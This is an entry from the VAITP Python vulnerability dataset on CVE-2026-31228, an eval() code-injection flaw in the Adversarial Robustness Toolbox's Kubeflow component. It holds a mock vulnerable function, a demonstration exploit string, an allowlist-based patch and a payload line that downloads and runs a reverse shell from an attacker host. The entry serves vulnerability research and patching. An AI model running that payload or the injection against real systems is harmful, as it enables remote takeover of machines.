CVE-2026-31228
ART Kubeflow component RCE due to unsafe eval() on user-provided strings.
- CVSS 9.8
- CWE-94
- Input Validation and Sanitization
- Remote
The Adversarial Robustness Toolbox (ART) thru 1.20.1 contains a remote code execution vulnerability in its Kubeflow component. The robustness evaluation function for PyTorch models uses the unsafe eval() function to dynamically evaluate user-supplied strings for the LossFn and Optimizer parameters without any sanitization or security restrictions. An attacker can exploit this by providing a specially crafted string that contains arbitrary Python code, which will be executed when eval() is called, leading to complete compromise of the system running the ART evaluation.
- CWE
- CWE-94
- CVSS base score
- 9.8
- Published
- 2026-05-12
- OWASP
- A08 Software and Data Integrity Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Remote
- Impact
- Arbitrary Code Execution
- Affected component
- Adversarial
- Fixed by upgrading
- Yes
Solution
Upgrade Adversarial Robustness Toolbox (ART) to version 1.20.2 or later.
Vulnerable code sample
import torch
import torch.nn as nn
import torch.optim as optim
import os
# This is a hypothetical representation of the vulnerable function
# as described in the CVE. It is not the actual source code from ART.
def evaluate_robustness(model, data_loader, loss_fn_str, optimizer_str):
"""
A mock function representing the vulnerable component.
It takes model, data, and strings for loss function and optimizer.
"""
print("Starting robustness evaluation...")
# VULNERABILITY: Unsafe use of eval() on user-provided strings
try:
loss_function = eval(loss_fn_str)
# The optimizer string needs access to the model's parameters
optimizer = eval(optimizer_str)
print("Successfully loaded Loss Function and Optimizer.")
except Exception as e:
print(f"Error evaluating parameters: {e}")
return
# A minimal loop to simulate using the evaluated objects
model.train()
for inputs, labels in data_loader:
optimizer.zero_grad()
outputs = model(inputs)
loss = loss_function(outputs, labels)
loss.backward()
optimizer.step()
print("Processed one batch.")
break # Only process one batch for this example
print("Evaluation complete.")
# --- Demonstration of the exploit ---
if __name__ == '__main__':
# 1. Set up a dummy model and data loader
class SimpleModel(nn.Module):
def __init__(self):
super(SimpleModel, self).__init__()
self.fc1 = nn.Linear(10, 1)
def forward(self, x):
return self.fc1(x)
model = SimpleModel()
dummy_data = [(torch.randn(5, 10), torch.randn(5, 1))]
# 2. Define a legitimate-looking loss function string
legit_loss_fn = "torch.nn.MSELoss()"
# 3. Craft the malicious optimizer payload string
# The payload executes an OS command and returns a valid optimizer object
# to avoid crashing the application immediately after the exploit.
malicious_optimizer_payload = \
"(torch.optim.SGD(model.parameters(), lr=0.01), __import__('os').system('echo VULNERABILITY_TRIGGERED'))[0]"
print("--- Calling function with malicious payload ---")
# 4. Call the vulnerable function with the payload
evaluate_robustness(
model=model,
data_loader=dummy_data,
loss_fn_str=legit_loss_fn,
optimizer_str=malicious_optimizer_payload
)Patched code sample
import torch.nn as nn
import torch.optim as optim
# Define whitelists of allowed, safe-to-instantiate classes.
# This approach replaces the vulnerable use of eval() on user-provided strings.
ALLOWED_LOSS_FUNCTIONS = {
"CrossEntropyLoss": nn.CrossEntropyLoss,
"NLLLoss": nn.NLLLoss,
"MSELoss": nn.MSELoss,
}
ALLOWED_OPTIMIZERS = {
"Adam": optim.Adam,
"SGD": optim.SGD,
"Adagrad": optim.Adagrad,
}
def get_safe_pytorch_components(loss_fn_name: str, optimizer_name: str, model_params):
"""
Safely retrieves and instantiates PyTorch loss function and optimizer
objects from string names using a predefined whitelist, preventing
arbitrary code execution.
This function represents the fix for the vulnerability where `eval()` was
previously used.
"""
# Safely get the loss function class from the whitelist
loss_fn_class = ALLOWED_LOSS_FUNCTIONS.get(loss_fn_name)
if not loss_fn_class:
raise ValueError(
f"Unsupported or unsafe loss function: '{loss_fn_name}'. "
f"Allowed values are: {list(ALLOWED_LOSS_FUNCTIONS.keys())}"
)
loss_function = loss_fn_class()
# Safely get the optimizer class from the whitelist
optimizer_class = ALLOWED_OPTIMIZERS.get(optimizer_name)
if not optimizer_class:
raise ValueError(
f"Unsupported or unsafe optimizer: '{optimizer_name}'. "
f"Allowed values are: {list(ALLOWED_OPTIMIZERS.keys())}"
)
optimizer = optimizer_class(model_params)
return loss_function, optimizerPayload
__import__('os').system('wget http://attacker.com/revshell -O /tmp/revshell && chmod +x /tmp/revshell && /tmp/revshell')
Cite this entry
@misc{vaitp:cve202631228,
title = {{ART Kubeflow component RCE due to unsafe eval() on user-provided strings.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-31228},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-31228/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
